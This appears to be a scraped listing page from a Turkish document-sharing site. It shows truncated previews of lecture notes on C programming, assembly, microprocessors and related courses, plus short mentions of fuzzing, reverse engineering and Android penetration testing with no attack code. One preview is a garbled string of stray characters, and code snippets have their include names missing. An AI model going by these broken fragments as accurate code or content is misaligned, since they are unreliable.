Bit, Byte ve Integer. BIL-304: Bilgisayar Mimarisi. Dersi veren öğretim üyesi: Yrd. Doç. Dr. Fatih Gökçe Bit, Byte ve Integer BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Yrd. Doç. Dr. Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted from slides

Detaylı

DOSYA İŞLEMLERİ Programlama dilleri hafta -

DOSYA İŞLEMLERİ Programlama dilleri hafta - BİLECİK ŞEYH EDEBALİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ DOSYA İŞLEMLERİ Programlama dilleri 1-10. hafta - Araş. Gör. Nesibe YALÇIN Dosya İşlemleri Programın çalışma esnasında

Detaylı

MTM 305 MİKROİŞLEMCİLER

MTM 305 MİKROİŞLEMCİLER KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Alt Programlar (Procedure) Büyük programları tek bir kod bloğu

Detaylı

HSancak Nesne Tabanlı Programlama I Ders Notları

HSancak Nesne Tabanlı Programlama I Ders Notları Konsol Uygulaması Oluşturma Konsol uygulaması oluşturmak için program açıldıktan sonra Create: Project ya da New Project seçeneği tıklanabilir. New Project penceresini açmak için farklı yollar da vardır.

Detaylı

Ders 3 ADRESLEME MODLARI ve TEMEL KOMUTLAR

Ders 3 ADRESLEME MODLARI ve TEMEL KOMUTLAR Ders 3 ADRESLEME MODLARI ve TEMEL KOMUTLAR GÖMÜLÜ PROGRAMLAMA Selçuk Üniversitesi Bilgisayar Mühendisliği Bölümü 2012-2013 Bahar Dönemi Doç.Dr.Erkan ÜLKER 1 İçerik 1. Adresleme Modları 2. İskelet Program

Detaylı

ESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN

ESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN ESM-361 Mikroişlemciler 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN Bit operatörleri Bit operatörleri bit düzeyinde işlem yapan operatörlerdir; yani sayıları bir bütün olarak değil, bit bit

Detaylı

MTM 305 MĠKROĠġLEMCĠLER

MTM 305 MĠKROĠġLEMCĠLER KARABÜK ÜNĠVERSĠTESĠ TEKNOLOJĠ FAKÜLTESĠ MEKATRONĠK MÜHENDĠSLĠĞĠ BÖLÜMÜ MTM 305 MĠKROĠġLEMCĠLER ArĢ. Gör. Emel SOYLU ArĢ. Gör. Kadriye ÖZ String Komutarı MOVS CMPS SCAS LODS STOS String Komutları MOVS,

Detaylı

Arasınav Sınavı Soruları Güz 2017 Süre: 90 Dakika

Arasınav Sınavı Soruları Güz 2017 Süre: 90 Dakika Manisa Celal Bayar Üniversitesi Yazılım Mühendisliği Bölümü YZM 1105- Algoritma ve Programlama I Arasınav Sınavı Soruları Güz 2017 Süre: 90 Dakika Derse Kayıtlı Olduğunuz Grubun Öğretim Üyesini (X) ile

Detaylı

BMB1002 Bilgisayar Programlamaya Giriş. Dosyalar. Prof. Dr. Necmettin Kaya

BMB1002 Bilgisayar Programlamaya Giriş. Dosyalar. Prof. Dr. Necmettin Kaya BMB1002 Bilgisayar Programlamaya Giriş Dosyalar Prof. Dr. Necmettin Kaya Dosyalar, verilen saklanması ve daha sonra okunması için bilgi içeren ve kalıcı olarak saklanabilen ortamlardır. Dosya işlemleri,

Detaylı

Ayrıca, Miller'ın fuzz terimi için yapmış olduğu bir açıklamayı orjinal haliyle koymak istiyorum.

Ayrıca, Miller'ın fuzz terimi için yapmış olduğu bir açıklamayı orjinal haliyle koymak istiyorum. Fuzzing Tarihçe Günümüzde kullanılan Fuzz / Fuzzing kavramının ilk olarak 80'li yılların sonlarında kullanıldığı söylenmektedir. IT sektöründe kabul görülen isim Barton Miller'dır. Barton Miller, Fuzz

Detaylı

C++ ile Programlamaya Giriş. Gülşen Demiröz

C++ ile Programlamaya Giriş. Gülşen Demiröz C++ ile Programlamaya Giriş Gülşen Demiröz Bu ders şunları vermeyi amaçlıyor Basit bilgisayar bilimleri kavramları Çoğu C++ programlama kavramları Nesneye Dayalı Programlama dili Bu dersin sonunda yapabilecekleriniz

Detaylı

Önce Access açıp,masaüstü ne, vt.mdb adlı veri tabanı dosyasını oluşturuyoruz. Kayıt türünü 2002-2003 seçiyoruz

Önce Access açıp,masaüstü ne, vt.mdb adlı veri tabanı dosyasını oluşturuyoruz. Kayıt türünü 2002-2003 seçiyoruz 9 Şubat 2012 / Perşembe Önce Access açıp,masaüstü ne, vt.mdb adlı veri tabanı dosyasını oluşturuyoruz. Kayıt türünü 2002-2003 seçiyoruz 1) emlakkategorisi adlı tabloyu oluşturuyoruz 1 2) ilanlar adlı tabloyu

Detaylı

MTM 305 MİKROİŞLEMCİLER

MTM 305 MİKROİŞLEMCİLER KARABÜK ÜNİVERSİTESİ TEKNOLOJİ FAKÜLTESİ MEKATRONİK MÜHENDİSLİĞİ BÖLÜMÜ MTM 305 MİKROİŞLEMCİLER Arş. Gör. Emel SOYLU Arş. Gör. Kadriye ÖZ Basit Giriş/Çıkış Teknikleri IN ve OUT komutları X86 komut kümesi

Detaylı

Hafta 12 Karakter Tutan Diziler

Hafta 12 Karakter Tutan Diziler BLM111 Programlama Dilleri I Hafta 12 Karakter Tutan Diziler Yrd. Doç. Dr. Caner ÖZCAN Katar (String) Tanımlama Dizileri ve çok boyutlu dizileri gördük. Katar dediğimiz şey de aslında bir dizidir. Değişken

Detaylı

Adresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar

Adresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar Adresleme Modları 1 Adresleme Modları İşlenenin nerede olacağını belirtmek için kullanılırlar. Kod çözme aşamasında adresleme yöntemi belirlenir ve işlenenin nerede bulunacağı hesaplanır. Mikroişlemcide

Detaylı

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach() (LOOPS) while(), do-while(), for(), foreach() Döngüler (loops) while do-while for foreach while ( koşul ) işlemler; do işlemler; while (koşul ); for (başlangıç ; koşul ; arttırma) işlemler; foreach ( tip

Detaylı

İLERI MIKRODENETLEYICILER. Ege Üniversitesi Ege MYO Mekatronik Programı

İLERI MIKRODENETLEYICILER. Ege Üniversitesi Ege MYO Mekatronik Programı İLERI MIKRODENETLEYICILER Ege Üniversitesi Ege MYO Mekatronik Programı BÖLÜM 1 Embedded C, C51 Temel Veri Tipleri Veri tipi (Data Type) Bit Bayt Değer bit 1 0, 1 char 8 1-128, +127 unsigned char 8 1 0,

Detaylı

Qt Temelleri. Eren BAŞTÜRK. basturkeren@gmail.com www.erenbasturk.com

Qt Temelleri. Eren BAŞTÜRK. basturkeren@gmail.com www.erenbasturk.com Qt Temelleri Eren BAŞTÜRK basturkeren@gmail.com www.erenbasturk.com Giriş Qt Gelişim Süreci Merhaba Dünya Uygulaması Qt Creator İle Merhaba Dünya Uygulaması Qt ile Uygulama Geliştirme Bölüm İçeriği Öğrenecekleriniz......

Detaylı

Döngü blokunda tek bir deyim varsa {} yazılmayabilir.

Döngü blokunda tek bir deyim varsa {} yazılmayabilir. Do-while döngüsü do { döngü bloku while (Expression); Örnek: #include int main(){ int num,i=0; do{ printf("giriş için: 1\n"); printf("çıkış için 2"); scanf("%d",&num); ++i; switch(num){ case

Detaylı

6. Mikroişlemcili Geliştirme Sistemleri

6. Mikroişlemcili Geliştirme Sistemleri 6. Mikroişlemcili Geliştirme Sistemleri UYGULAMA KARTI 80286 CPU KARTI SİSTEM YOLLARI GİRİŞ/ÇIKIŞ PORTLARI GÖSTERGE TUŞ TAKIMI KARTI Bir mikroişlemci geliştirme sistemi donanımının görünümü ve parçaları

Detaylı

Quiz:8086 Mikroişlemcisi Mimarisi ve Emirleri

Quiz:8086 Mikroişlemcisi Mimarisi ve Emirleri Öğrenci No Ad-Soyad Puan Quiz:8086 Mikroişlemcisi Mimarisi ve Emirleri S1) 8086 mikroişlemcisi bitlik adres yoluna ve.. bitlik veri yoluna sahip bir işlemcidir. S2) 8086 Mikroişlemci mimarisinde paralel

Detaylı

PROSESLER. Proses. Proses

PROSESLER. Proses. Proses Proses 2 PROSESLER Bir işlevi gerçeklemek üzere ardışıl bir program parçasının yürütülmesiyle ortaya çıkan işlemler dizisi Programın koşmakta olan hali Aynı programa ilişkin birden fazla proses olabilir.

Detaylı

C ile Uygulamalar 4 - Cevaplar

C ile Uygulamalar 4 - Cevaplar C ile Uygulamalar 4 - Cevaplar Cevap-1: //Soru 1 #include //Standart kütüphane başlık dosyası. #include //Tarih ve saat fonksiyonlarının yer aldığı başlık dosyası. int dizidensil(int

Detaylı

Komut Seti Mimarisi (ISA)

Komut Seti Mimarisi (ISA) Komut Seti Mimarisi (ISA) BIL-304: Bilgisayar Mimarisi Dersi veren öğretim üyesi: Dr. Öğretim Üyesi Fatih Gökçe Ders kitabına ait sunum dosyalarından adapte edilmiştir: http://csapp.cs.cmu.edu/ Adapted

Detaylı

Reverse Engineering Bootcamp Eğitim İçeriği

Reverse Engineering Bootcamp Eğitim İçeriği Reverse Engineering Bootcamp Eğitim İçeriği 1. Reverse Engineering - Reverse Code Engineering - Dökümantasyonu Olmayan Bileşenler (Undocumented Functions) - Yazılım Mimarisinin Anlaşılması - Kapalı Kaynak

Detaylı

Bigisayar Programlama

Bigisayar Programlama Bigisayar Programlama (GÜZ 2015) DERS-02: C de Programlamaya Giriş Yrd. Doç Dr. Yakup EMÜL Cumhuriyet Üniv., Teknoloji Fakültesi Yazılım Mühendisliği Bölümü yakupemul@cumhuriyet.edu.tr Ofis Saatleri :

Detaylı

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO while(), do-while(), for() Döngü (loop) : Bir koşul sağlandığı (true olduğu) sürece bir veya birden çok komutun tekrarlanması işlemidir. Java Döngüler (loops) While() do-while() for ( ) while ( koşul )

Detaylı

Adım Adım C. Dr. Hidayet Takcı

Adım Adım C. Dr. Hidayet Takcı Adım Adım C Dr. Hidayet Takcı İlk C Programı #include #include main() printf("merhaba Dünya"); getch(); Program hakkında İlk program C de ekrana nasıl yazı yazdıracağınızı göstermektedir.

Detaylı

ş şşş ş ç ş şş ş ş çş Ç Ğ Ü Ü ş ç ç Ü ç ç ç Ü ç Ş Ü ş ç ş Ü Ş Ü ç ç ş Ş ş Ş Ü ş ş ş ş ş ş ş ş ş ç Ç Ş ş Ş ş ş Ü Ş ş ş ş Ü Ü ş ş Ü ş ş Ö ş ç ş ç Ç ç ç ş ş ç Ğ Ğ ş ç ş Ğ ş ş Ş Ğ ş ş ş ş ş ş ş ç Ç ç Ü ş ç

Detaylı

2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır.

2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır. 1.Eclipse http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/juno/s R2/eclipse-jee-juno-SR2-win32.zip&mirror_id=1163 linkinden indiriyoruz. 2.Eclipse açıldıktan sonra

Detaylı

Fonksiyonlar -Genel Test- A

Fonksiyonlar -Genel Test- A 1 Fonksiyonlar -Genel Test- A 1. C dilinde fonksiyon bildirimi için hangisi gereklidir? (a) Fonksiyonun döndüreceği veri tipi (b) Fonksionun adı (c) Fonksiyon parantezi ( ) (d) Hepsi 2. C dilinde fonksion

Detaylı

ALGORİTMA VE PROGRAMLAMA I DERS NOTU#10

ALGORİTMA VE PROGRAMLAMA I DERS NOTU#10 ALGORİTMA VE PROGRAMLAMA I DERS NOTU#10 YZM 1105 Celal Bayar Üniversitesi Hasan Ferdi Turgutlu Teknoloji Fakültesi Genel Bakış 2 Giriş Esnek Argümanlı Fonksiyonlar main() Fonksiyonuna Parametre Aktarımı

Detaylı

mikroc Dili ile Mikrodenetleyici Programlama Ders Notları

mikroc Dili ile Mikrodenetleyici Programlama Ders Notları 4. Operatörler İfade içerisindeki değişken ve diğer ifadelere uygulandığında yeni değerlerin elde edilmesini sağlayan ve kendilerine özel sembolik gösterimleri olan sözdizimleridir. mikroc derleyicisi

Detaylı

İŞLEMCİ DURUM KAYDEDİCİSİ (PROCESSOR STATUS REGISTER)

İŞLEMCİ DURUM KAYDEDİCİSİ (PROCESSOR STATUS REGISTER) Mikroişlemci içinde yapılan işlemlerin durumlarını programcıya bildiren bir kaydedici mevcuttur. Tüm karar alma mekanizmaları bu kaydedicide gösterilen sonuçlar baz alınarak yapılır. İŞLEMCİ DURUM KAYDEDİCİSİ

Detaylı

http://www.microsoft.com/visualstudio/eng/downloads

http://www.microsoft.com/visualstudio/eng/downloads Visual Studio 2012'nin kurulumunu, Visual Studio'nun kullanımını ve Windows Store'da basit bir proje hazırlanmasını anlatacağım. Hepsinden önce Visual Studio ortamından biraz bahsedelim. Visual Studio

Detaylı

Android Ders Notları

Android Ders Notları Android Ders Notları 1. Yeni Bir Proje Başlatma Android Studio programında yeni bir proje başlatıyoruz. İlk olarak karşımıza resim 1 deki gibi bir pencere gelecek. Burada Application name kısmına proje

Detaylı

İstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER

İstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER DİZİLER Dizi Nedir? Aynı türden nesnelerin oluşturduğu, bellekte bitişik bir biçimde bulunan veri yapısına dizi denir.mesela alfabe diye bir dizi tanımlarız, harfleri a,b,c,d... diye sıralarız.dizinin

Detaylı

10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI

10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI 10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI İkincil bellekte tanımlanmış bölgelere dosya denir. Her dosyanın bir ismi vardır. Ancak dosyaların isimlendirme kuralları sistemden sisteme göre değişebilmektedir. Dosya

Detaylı

Kabuk Programlama (Bash)

Kabuk Programlama (Bash) Kabuk Programlama (Bash) Erkan Esmer Ocak, 2013 İçindekiler 1 Giriş.................................................... 2 2 Kabuk(Shell)............................................... 3 3 Çekirdek(Kernel).............................................

Detaylı

BİLGİSAYAR TEMELLERİ VE PROGRAMLAMAYA GİRİŞ

BİLGİSAYAR TEMELLERİ VE PROGRAMLAMAYA GİRİŞ BİLGİSAYAR TEMELLERİ VE PROGRAMLAMAYA GİRİŞ Yrd.Doç.Dr. Emel ARSLAN earslan@istanbul.edu.tr C Program Akış Kontrol Yapıları Kontrol Komutları Normal şartlarda C dilinde bir programın çalışması, komutların

Detaylı

Python Programlama Dili

Python Programlama Dili Python Programlama Dili 8. Hata Yakalama Hatalar programcılık deneyiminizin bir parçasıdır. Ancak bizim burada kastettiğimiz, programınızı çalıştıran kullanıcıların sebep olduğu ve programınızın çökmesine

Detaylı

http://www.mertsarica.com http://twitter.com/mertsarica

http://www.mertsarica.com http://twitter.com/mertsarica Android üzerine Penetrasyon testi üzerine Penetrasyon testi adımları Örnek Zafiyetler Sonuç http://www.mertsarica.com http://twitter.com/mertsarica Ahlaklı Korsan Blog Yazarı Python Programcısı Zararlı

Detaylı

Development Platform. Enver ALTIN. <ealtin@parkyeri.com> <enver.altin@linux.org.tr> 1 Aralık 2005 - Bilkent Üniversitesi

Development Platform. Enver ALTIN. <ealtin@parkyeri.com> <enver.altin@linux.org.tr> 1 Aralık 2005 - Bilkent Üniversitesi Development Platform Enver ALTIN 1 Aralık 2005 - Bilkent Üniversitesi Yazılım? Diğer bilim dallarına yardımcı araç olarak yazılımlar Kaynak kodu Derleme

Detaylı

Önsöz. İçindekiler Algoritma Algoritma Nasıl Hazırlanır? Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular

Önsöz. İçindekiler Algoritma Algoritma Nasıl Hazırlanır? Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular Önsöz Giriş İçindekiler V VII IX 1.1. Algoritma 1.1.1. Algoritma Nasıl Hazırlanır? 1.1.2. Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular 2.1. Programın Akış Yönü 19 2.2. Başlama

Detaylı